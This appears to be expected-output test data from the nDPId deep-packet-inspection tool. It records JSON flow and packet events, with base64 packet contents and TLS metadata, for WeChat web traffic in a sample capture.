+01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1140,"source":"wechat.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":8,"flow_first_seen":1492167720101,"flow_last_seen":1492167720812,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54119,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":56,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1141,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":812808,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8ZAAEAGzX7AqAFny82XotNnAbsR+WicFAZyg4AQARFtSQAAAQEICgAyISFFrqWg"} +00779{"flow_id":56,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1142,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":813116,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4wsdAAC0GY9nLzZeiwKgBZwG702cUBnKDEflonIAYAHiyYQAAAQEICkWupaAAMiDIXbQxaJ2fFnFfbCcl3eWZA4KQcgYqei0zO7LNcQCdFQyLb01pe0mx1YK\/OdasYs2XXJ6FWYhWMzVI4hoUfrese2MaWRGjf0auoZW9P1BkH8gvLIQ7wG0+NaEJiXPpbQm8PF9CV52kt9qDZ3ZzwwkqqIdndfc86RSeO9gYopVBeEpUmxKXfYXBHQcJZejVDsQhyQhPUlehGUJfqUlmEnnt9CChBsB6XTIMbTmf\/+aSo686TrrM6SnHTTuGo2lCeoJwHuf2uuAhIPpSTwgonOuqQg76fZkP6iQuUsERZbLFTyX60WdV2sl7tzCfCxqE1hLc+6Yfy3GGkZSc2ioWAwMABA4AAAA="} +00426{"flow_id":56,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1143,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":813142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8dAAEAGzX3AqAFny82XotNnAbsR+WicFAZzh4AQAShsLgAAAQEICgAyISFFrqWg"} +00599{"flow_id":56,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1144,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167720,"pkt_ts_usec":815532,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyR8hAAEAGzP7AqAFny82XotNnAbsR+WicFAZzh4AYASj2kwAAAQEICgAyISFFrqWgFgMDAEYQAABCQQQMBT429+T3gJw\/GUNezVyChj+c1x+DtajLaHHg9em79qmtUtJQ6em1QCrHiT9yqRq4lfQrJBrb6CRpF0BS0WfUFAMDAAEBFgMDACgAAAAAAAAAAEHorowN4PW3Vw9i7\/bEAIswMK3LX39IRH+UpA1+UKb8"} +00496{"flow_id":56,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1145,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167721,"pkt_ts_usec":178683,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnwshAAC0GZKnLzZeiwKgBZwG702cUBnOHEflpGoAYAHiJEAAAAQEICkWupfsAMiEhFAMDAAEBFgMDACjUSe3W9MPyIyQY8HS96Nr4xBVh+YPRTs9WGTp33NcYdV0Q8ABXyzio"} +02113{"flow_id":56,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1146,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167721,"pkt_ts_usec":180006,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMR8lAAEAGyKPAqAFny82XotNnAbsR+WkaFAZzuoAYASiXPQAAAQEICgAyIXxFrqX7FwMDBNMAAAAAAAAAAcddmFtL9s8aHhZ1QRj6q+EieTKnw\/oKGvdRzTouO+r2faahjix5EtI4tgzmV50yCJRXSKM\/lvhwFP1BLB38bpucmiJZvl3P66tr3r5XRfwvfX2umLXhuw4L6MEh1bMT2UKn6zSaO5f4Sd13xvbwyyp0luvNUKLScYKfsZ9JkElHc8Bo7lnmYgaTzh8DZBNwV6F4SBRNlZF8AmJneJAvi0Hip40BhgY\/MUGsVRyubnFFZVs49Hm4hrsZc69+mCCOKRwHoHHvdeqf3a32azqjyAhMELNokr9EgAoAcEtQS9mieHRF1Qax75dJbjS07hLnlygZU\/gNvLbKbd66mvczq4WzL+sHKaUhD2ui\/HZKNXua9CGa3eYvfXDHKPgYKp3FhfEz5HIp6aV8tADNM78QWeijawyvDy72jRVOUwc\/AbjoRvgc7PLCShdNm4C4M4FRTC6gpGMoTQQ4Hn5nV4mXnoO41SGPwZM7heqN\/RygoJSwO\/ejVr5IfwDfOXUbIVClDxKL5wDpRGYn17BlOJ9yX6Wiwi+jK9Hn47Oz8VqZ4gMtazqFbKwjaMeTM1jKQ6ecEyIXMqjdS+2oTqywN8JKWrZEAaJhIVeKEUhj7vrhcxt4ifseFKMgd9DsYo5eN8jp+r04c1vlVOGX41Eox4ZRn0\/LtdbBkflponxlb1NRWHudRb7iPJ50Yq6X5Brd64dYwcNkDcj2P1vkft57SDQXg4YJsptxvn1DwCHwTzBv41TDs0eT3mghv2PLceiam4QrsE+eVZyBDep8U496q2aRyANnXAB07e25CorTXMPecOQjaCPDfTyyuRGM4ABQpyXWLAtl01QUg+2v8iximZZ13Q4+vVzlnSKAjsSLhGmRLWcLQgt7mXaroGtKuRqvcfemQQneJ\/PQXOtxVDSOZq3t+ncFUFwVv8cKt6E482cN9c9lO6L7W2wfOBsqjLqIhTeLeU+ICSSwQNo\/+xgDnUedBRYqbieKjzKD7PZX5WMDpWdf7SIgDa\/1B7APKi1NHqkxjEOrMsOVk\/6uvK02pwswzrfe9HuI620qNjhDKSNOp79kIiDDYggzBaaADhQF1\/5On4STrraXeRqd5\/f29nO2o4bnUSzPPDZojB+27WpzKwH6DVBccSoxm5gvGZHmaCWB+XrLsgMuX6gHwxc3BnnOwGKrnBTNkLcW\/BECVb2tc4y+T8qKPHof5NsY7KbQ1vQaga7U\/3sZUsR7XMlUA9QzxgY0LMH4I8O3LIz9ZgcmY9byYqICy+BkrvvONj3CVVilHOzV0NMvMvatT1U165+x1X4PD2EMnVbStQRl0oIP4Jrl8cCxm+Ay7hnq3syGPMmw99Cpr\/UhJ8dcC8GD1\/L62OghUxlT\/pWZgvRJ5U7zB6CVXF2\/0SAJEA0X9ZMOPlsZQkUq1ybPOMHAeUyViUZI13fMta2IYTK3cpVFqr9uT+GRRE+hHOMjnABdhndlTcemQJRow7T5YKl3kChfD+t\/YMx15asUrPvn17UimieqR3l\/xzmkhIceaVByZ\/8cH4b8UZiGilGZjU3BRBZsh5mSnEkSDtwkrtg6UmdndENLsop4\/x1cZntmyI1Qs3SHolCZK2ZUZi8sy2G68rThIDuD8BiLmS7XoV0VrUoDwg=="} +01075{"flow_id":56,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167721,"pkt_ts_usec":185603,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPR8pAAEAGy5\/AqAFny82XotNnAbsR+W3yFAZzuoAYASjW8QAAAQEICgAyIX5FrqX7FwMDAdYAAAAAAAAAAmll4Z\/nAI5PtOkc+WmgTBFLWxMTDcMnrIR3FvSDg7qQtfcoUVUZ7eqfkgkX6mJrPSwQTYKMhd0In7w0gRme3wT0RFhsn7udpy\/Owt+2L6HKVLW3qHVilPAQxOuPMpKUiZSjhZmOUoZ3rp6UDZp7nUN7EzZJiWko1D91A443wUOzwadSAOJ4eZmCSzH9OkY+oX5ZY2haLm6X\/\/2mluiyHJTvC+hXrFP2A\/t0Z1S+RfU1QMpajaJwNIiiylBU9czWpoa4\/YoZ3Kn+yLlZR+9thY2kk05ZEwFctYiKsyUROThi41BXlOyBExCuuBNqBja2FuI6K7riDQ93kclHglPLfthZrYjFDWZTlu+qx8BikkByw\/UKKsvj6HYnYOrygQWOBCEqXdcTxU7z43wKd4dweM3S397DssjUxyuwBEVVkf2QouvTKQiQxhxXL\/7DOShwNsiQX3SGy0fBlrUZRKNxc\/OtnJObu9LAMUlPLHiOySyDHmztEPoXcbwz+2qGk1Z3twNHzs9sYyhrP2IhW1JS4iyDBlTVudFXwkkU+tei8bPskG+7FEf+uMq1Ol2XyFPoS9bkrbQJKdB4WSr0fJrrWuOpUnyIEXlMpLKwK3HAvg=="} +00752{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1159,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":10515,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiTqJAAEAGxbTAqAFny82XotNoAbuP9m4Pb2aKH4AYAOXLQgAAAQEICgAyIkxF0wrqFgMBAOkBAADlAwPB\/pJ6BvhHBq\/4TId1UjdeYYD0wwj82jOL+qyjL+5dzCBgvGDUb62G4Do9NReMfS8YxaGk\/NAEyDLFergV\/vcvsQAgysrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8mpoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAI+voAHQAXABh6egABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1159,"source":"wechat.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":4,"flow_first_seen":1492167720353,"flow_last_seen":1492167722010,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54120,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00437{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1163,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":70985,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG702hvZooej\/ZuD6ASN8iqwgAAAgQFoAQCCApF0wxBADIhBQEDAwc="} +00424{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1164,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":71030,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0TqNAAEAGxqHAqAFny82XotNoAbuP9m79b2aKH4AQAOUPcQAAAQEICgAyIltF0wrq"} +00428{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1165,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":363463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0hpVAAC0GoQ\/LzZeiwKgBZwG702hvZoofj\/Zu\/YAQAHgOTQAAAQEICkXTDIoAMiJM"} +02348{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1166,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":364483,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIhpZAAC0Gm3rLzZeiwKgBZwG702hvZoofj\/Zu\/YAQAHiTcAAAAQEICkXTDIoAMiJMFgMDAF0CAABZAwMLb\/bjahqipXDIAq7z\/zsCBoMKS82TWpulAU+Vb+o17yCLvNA70NWnnOkivxA3NtxTObgLtgPDGlVnUKXVA0Y5mcAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1166,"source":"wechat.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":8,"flow_first_seen":1492167720353,"flow_last_seen":1492167722364,"flow_tot_l4_data_len":1946,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":243,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54120,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1167,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":364537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0TqRAAEAGxqDAqAFny82XotNoAbuP9m79b2aPs4AQAPsH3QAAAQEICgAyIqVF0wyK"} +02705{"flow_id":57,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1168,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":365024,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMhpdAAC0GmnXLzZeiwKgBZwG702hvZo+zj\/Zu\/YAYAHgsPgAAAQEICkXTDIoAMiJMi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRtFBJY2kTMiaaZFBuHN1c\/TNaqoxPpEk+Ku1B1KEIVp9iiNYDhXExDe\/OLl+n7vutXvft2uLIvAiGvAgswYqAWBgEBADySyo4fGlLduZomBkniwg2borttFJi0Oi8px0PnsWBARwmabT+FwpxGJ0A+ZahbBQMood1nI\/TB8n2CdmrmnL1Bk5F0S96\/wFegDfXCO8EsRKN4ZgeMWZfYsmVTCGxUHcNIhokgWfF675hNEqEB6Eqgl2XcR5+G564QhbW4oXb2QKjvGyinK1o4uXi+ED\/8gdfzUnO+YVe\/Mx0VLJ8Uvda3+x89Lbatfrmy1IoZVmz\/pSi1PF86Y1Xk19VU7egMTrW1k2mM1+E14GZuenX5NuFicscWj5HXhMlWuYpslHC5T\/B3H0EU6qKFDZ4rWzkEC9XEEh6++1mL6ne6wdgz+h4WAwMABA4AAAA="} +01314{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1168,"source":"wechat.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":10,"flow_first_seen":1492167720353,"flow_last_seen":1492167722365,"flow_tot_l4_data_len":3698,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":369,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54120,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00427{"flow_id":57,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1169,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":365067,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0TqVAAEAGxp\/AqAFny82XotNoAbuP9m79b2aWS4AQARUBKwAAAQEICgAyIqVF0wyK"} +00599{"flow_id":57,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1170,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":367752,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyTqZAAEAGxiDAqAFny82XotNoAbuP9m79b2aWS4AYARX9lQAAAQEICgAyIqVF0wyKFgMDAEYQAABCQQSh+pnFGxxwzvrDsA0C+\/OV0hT8QxymxVSdVOzIK8Ts7xEtLYwEBepfGTQ4O02ZU78gXkUfB2wRx9JbEX7l0swBFAMDAAEBFgMDACgAAAAAAAAAAG4Yn7256L3yejklVAHqL0q7mw3v5ZM4LG\/C12DTIoZs"} +00498{"flow_id":57,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1175,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":717710,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnhplAAC0GoNjLzZeiwKgBZwG702hvZpZLj\/Zve4AYAHhVfQAAAQEICkXTDOIAMiKlFAMDAAEBFgMDACg7VmUMZZIKzA5NcQ\/AxiIDUBx1HTnigQytG0dHQHqNZy6HR+dvlZb5"} +00427{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1176,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167722,"pkt_ts_usec":756211,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0TqdAAEAGxp3AqAFny82XotNoAbuP9m97b2aWfoAQARX\/vwAAAQEICgAyIwdF0wzi"} 